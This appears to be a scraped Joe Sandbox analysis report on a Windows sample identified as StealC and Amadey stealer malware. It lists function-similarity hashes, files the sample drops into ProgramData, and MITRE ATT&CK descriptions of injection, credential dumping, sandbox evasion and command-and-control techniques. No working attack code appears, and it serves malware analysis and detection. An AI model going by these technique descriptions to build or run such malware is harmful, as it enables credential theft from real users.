
Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 0fdd9272da30b6b5e94dd7cbd90adcd433401c7535db7ab9ee1465cf5488e44e
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 3B312B71B00218AFC714CF5DCCC0A9F7BB5EB88354B18853DEA498BB04D631E9848B91

Function 6CAE26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAE26C1
free.MOZGLUE(?), ref: 6CAE26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAE26FF
free.MOZGLUE ref: 6CAE270D

Memory Dump Source

Source File: 00000000.00000002.2753220818.000000006CA91000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2753196940.000000006CA90000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753340229.000000006CB0D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753500155.000000006CB1E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2753685225.000000006CB22000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: e970980f0bddada3c3e6250f427ffb0b1775e54feba5bc32b676b1021106197b
Instruction ID: 4db9c8ebb3de38cd7fa1672fab4f4dfbbf6fe7eae0049addf5dc847c5a6e31f5
Opcode Fuzzy Hash: e970980f0bddada3c3e6250f427ffb0b1775e54feba5bc32b676b1021106197b
Instruction Fuzzy Hash: 14F0F9B27012025BF7009E19DC8898773ADEF45318B140235FA1AD3B01E331F998D7D1

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CGIJJKEHCAKEGCAKJKEC

C:\ProgramData\DAFCAAEG

C:\ProgramData\DBKFHJEBAAEBGDGDBFBGIEBAAA

C:\ProgramData\FBGIDHCAAKEBAKFIIIEB

C:\ProgramData\GCGHCBKFCFBFHIDHDBFC

C:\ProgramData\GIEBGIIJ

C:\ProgramData\JKJKJJDBKEGIECAAECFHCFBGIJ

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

Windows Analysis Report
file.exe

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre